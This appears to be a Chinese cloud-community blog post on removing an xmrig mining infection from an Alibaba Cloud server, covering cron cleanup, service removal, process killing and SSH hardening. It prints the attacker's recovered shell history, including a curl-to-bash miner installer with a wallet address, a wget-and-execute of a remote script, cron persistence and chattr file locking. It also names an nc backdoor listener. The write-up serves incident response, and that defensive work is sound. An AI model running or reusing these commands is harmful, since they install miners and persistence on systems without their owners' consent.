清除阿里云服务器挖矿病毒总结

本文涉及的产品
可观测可视化 Grafana 版,10个用户账号 1个月
任务调度 XXL-JOB 版免费试用,400 元额度,开发版规格
函数计算FC,每月15万CU 3个月
简介: 监控发现`top`命令显示`xmrig`进程占满CPU,确认服务器遭挖矿病毒感染。通过`thistory`追溯到病毒执行步骤,包括下载恶意脚本、设置定时任务等。处理方案包括:清理异常定时任务并修复权限;查找并删除挖矿相关文件;识别并终止可疑`sh`进程;加强SSH安全,如修改端口、清除密钥、限制IP访问等,以彻底清除病毒并加固系统安全。

1. 背景

在进行系统监控时,发现 top 命令显示 xmrig 进程占用所有CPU资源,表明服务器可能感染了挖矿病毒。通过查询历史命令 thistory,可以追踪到挖矿病毒的执行步骤,具体如下:
text

962 cd /root
963 ls
964 curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 48gR5QM9UUxBZgiv7jzJnAXFUbqQjjstdbL5AME95fe53YTEphRLPcZHZkHY5kLYTd2o8cojBttbz9gz3vJDYA7DNR3HbcH
965 ps -ef|grep xmr
966 crontab
967 crontab -l
968 cd /usr/bin
969 ls
970 wget http://47.92.70.112:6640/download.sh
971 ls
972 chmod +x download.sh
973 chattr download.sh
974 ./download.sh
975 (crontab -l 2>/dev/null; echo "0 /usr/bin/download.sh") | crontab -
976 crontab -l
977 (crontab -l 2>/dev/null; echo "0 /usr/bin/download.sh > /dev/null 2>&1") | crontab -
978 crontab -l
979 cd /etc
980 ls
981 cd crontab
982 ls
983 cd /var
984 ls
985 cd spool
986 ls
987 cd cron
988 ls
989 cd root
990 ls
991 cat root
992 ls
993 chattr +ia root
994 ls

2. 处理方案

处理挖矿病毒需要从以下四个维度进行系统清理和安全加固:

1)定时任务

检查并清理异常定时任务:
使用命令查看当前定时任务:
bash

crontab -e

删除可疑的定时任务,并修复权限以确保正常保存:
bash

sudo chown root:root /var/spool/cron/root
sudo chmod 600 /var/spool/cron/root

2)病毒源文件

根据进程文件 xmrig 查找病毒源文件:
使用以下命令查找与挖矿相关的文件:
bash

grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*

查看服务文件,先禁用服务,然后删除源文件:
bash

cat /etc/systemd/system/c3pool_miner.service
systemctl disable c3pool_miner.service
rm -rf /etc/systemd/system/c3pool_miner.service

如果删除失败,使用以下命令去掉只读属性:
bash

chattr -ai /path/to/file

3)sh进程

查找所有 sh 进程并识别异常进程:
使用命令列出所有 sh 进程:
bash

ps -ef | grep sh
root      1110     1  0 12:46 ?        00:00:00 /usr/sbin/sshd -D        这是ssh服务的监听进程
root     10022  1110  0 12:52 ?        00:00:00 sshd: root@pts/1    这是有root用户通过ssh终端登录进程
root     10031 10022  0 12:52 pts/1    00:00:00 -bash                    这是 root的用户会话

通过进程树查看当前 root 用户的子进程:
bash

ps -ef --forest | grep sshd

使用 lsof 命令查看打开的文件和网络连接:
bash

lsof -p <PID>

杀掉异常进程,优先处理后门进程和监控进程:
bash

pkill -f 'nc -vlp 6666'
pkill -f 'python'
pkill -f '/usr/bin/download.sh'

查找与 hackxf 用户相关的进程并终止:
bash

ps -u hackxf

4)SSH 登录安全

  1. 修改 SSH 端口,更改 root 密码,移除所有root 密钥。
vi /etc/ssh/sshd_config
passwd

清空密钥:

> /root/.ssh/authorized_keys

重启 ssh服务:systemctl restart sshd

2 删除异常用户:
bash

sudo sed -i '/^hacker:/d' /etc/shadow   #删除当前行
sudo sed -i '/^hacker:/d' /etc/passwd   #删除当前行
sudo sed -i '/hacker:!!:19805/,$d' /etc/shadow    #删除当前行及以下所有行

上述删除失败,设置权限:
bash

sudo chmod 640 /etc/shadow
sudo chmod 640 /etc/passwd

限制 SSH 登录白名单 IP,确保只有授权 IP 可以访问。
通过以上步骤,可以有效清除阿里云服务器中的挖矿病毒,并加强系统的安全性,防止未来的攻击。

相关实践学习
通义万相文本绘图与人像美化
本解决方案展示了如何利用自研的通义万相AIGC技术在Web服务中实现先进的图像生成。
7天玩转云服务器
云服务器ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,可降低 IT 成本,提升运维效率。本课程手把手带你了解ECS、掌握基本操作、动手实操快照管理、镜像管理等。了解产品详情:&nbsp;https://www.aliyun.com/product/ecs
相关文章
|
缓存 监控 安全
服务器荣获挖矿病毒,该如何处理?
【9月更文挑战第2天】若服务器不幸感染挖矿病毒,应立即断开网络连接,防止扩散;使用监控工具查找异常进程和文件,并全面扫描确认位置;谨慎删除病毒文件和进程,修复系统漏洞,安装最新补丁;加强安全防护,安装杀毒软件和防火墙,监控性能活动;最后从备份恢复数据,测试服务功能,确保正常运行。处理过程需谨慎耐心,强化安全管理。
1332 3
|
分布式计算 安全 网络协议
Linux【问题记录 04】SSH突然无法连接排查2个小时最终解决Failed to start OpenSSH server daemon及阿里云服务器的 kdevtmpfsi 挖矿病毒处理
Linux【问题记录 04】SSH突然无法连接排查2个小时最终解决Failed to start OpenSSH server daemon及阿里云服务器的 kdevtmpfsi 挖矿病毒处理
1013 0
|
安全 Linux
阿里云服务器中挖矿病毒解决办法(已实践)
阿里云服务器中挖矿病毒解决办法(已实践)
2560 1
阿里云服务器中挖矿病毒解决办法(已实践)
|
1月前
|
弹性计算 运维 安全
阿里云轻量应用服务器与云服务器ECS啥区别?新手帮助教程
阿里云轻量应用服务器适合个人开发者搭建博客、测试环境等低流量场景,操作简单、成本低;ECS适用于企业级高负载业务,功能强大、灵活可扩展。二者在性能、网络、镜像及运维管理上差异显著,用户应根据实际需求选择。
221 10
|
1月前
|
运维 安全 Ubuntu
阿里云渠道商:服务器操作系统怎么选?
阿里云提供丰富操作系统镜像,涵盖Windows与主流Linux发行版。选型需综合技术兼容性、运维成本、安全稳定等因素。推荐Alibaba Cloud Linux、Ubuntu等用于Web与容器场景,Windows Server支撑.NET应用。建议优先选用LTS版本并进行测试验证,通过标准化镜像管理提升部署效率与一致性。
|
1月前
|
弹性计算 ice
阿里云4核8g服务器多少钱一年?1个月和1小时价格,省钱购买方法分享
阿里云4核8G服务器价格因实例类型而异,经济型e实例约159元/月,计算型c9i约371元/月,按小时计费最低0.45元。实际购买享折扣,1年最高可省至1578元,附主流ECS实例及CPU型号参考。
350 8
|
1月前
|
存储 监控 安全
阿里云渠道商:云服务器价格有什么变动?
阿里云带宽与存储费用呈基础资源降价、增值服务差异化趋势。企业应结合业务特点,通过阶梯计价、智能分层、弹性带宽等策略优化成本,借助云监控与预算预警机制,实现高效、可控的云资源管理。
|
1月前
|
弹性计算 运维 安全
区别及选择指南:阿里云轻量应用服务器与ECS云服务器有什么区别?
阿里云轻量应用服务器适合个人开发者、学生搭建博客、测试环境,易用且性价比高;ECS功能更强大,适合企业级应用如大数据、高流量网站。根据需求选择:轻量入门首选,ECS专业之选。
215 2
|
1月前
|
弹性计算 ice
阿里云4核8G云服务器配置价格:热门ECS实例及CPU处理器型号说明
阿里云2025年4核8G服务器配置价格汇总,涵盖经济型e实例、计算型c9i等热门ECS实例,CPU含Intel Xeon及AMD EPYC系列,月费159元起,年付低至1578元,按小时计费0.45元起,实际购买享折扣优惠。
406 1
|
1月前
|
存储 弹性计算 安全
阿里云渠道商:新手如何选择阿里云ECS实例?
阿里云ECS凭借弹性扩展、稳定可靠与安全防护,助力企业高效上云。本文系统解析实例规格选择关键因素:业务场景匹配、性能评估、成本优化、地域部署与扩展规划,结合计费模式与实际需求,提供科学选型建议,助您精准匹配资源,提升云上效能。(238字)